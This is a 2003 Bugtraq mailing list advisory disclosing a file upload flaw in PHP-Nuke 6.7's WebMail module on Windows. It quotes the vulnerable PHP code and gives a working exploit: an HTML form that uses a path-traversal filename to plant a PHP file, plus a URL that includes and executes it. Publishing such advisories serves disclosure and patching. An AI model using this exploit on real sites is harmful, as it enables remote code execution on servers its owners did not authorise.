Bugtraq mailing list archives
PHP-Nuke v 6.7 + Windows = File Upload
From: "Frog Man" <leseulfrog () hotmail com>
Date: Sat, 04 Oct 2003 16:33:43 +0200
Informations : °°°°°°°°°°°°° Language : PHP Version : 6.7 Website : http://www.phpnuke.org Problem : File Upload PHP Code/Location : °°°°°°°°°°°°°°°°°°° modules/WebMail/mailattach.php : -------------------------------------------------------------------------------------------------------------------if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND !ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) { $updir = "tmp"; @copy($userfile, "$updir/$userfile_name"); @unlink($userfile); } } ------------------------------------------------------------------------------------------------------------------- Exploit : °°°°°°°Anyone can choose the path, the name and the extention of a file to upload. Here the file is saved into http://[target]/modules/AvantGo/language/bad.php and can be included and executed with the URL http://[target]/modules.php?name=AvantGo&file=langague/bad :
<form action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php" method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1"> <input type="file" name="userfile"><br> <input type="submit" name="Send File> </form>It will work with Windows only because the temp name of the file is anything like this : c:\temp\php054.TMP so $userfile doesn't contain any '\' character.
More details/Solution : °°°°°°°°°°°°°°°°°°°° A patch and more details can be found on http://www.phpsecure.info. frog-m@n _________________________________________________________________ Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail
Current thread:
- PHP-Nuke v 6.7 + Windows = File Upload Frog Man (Oct 04)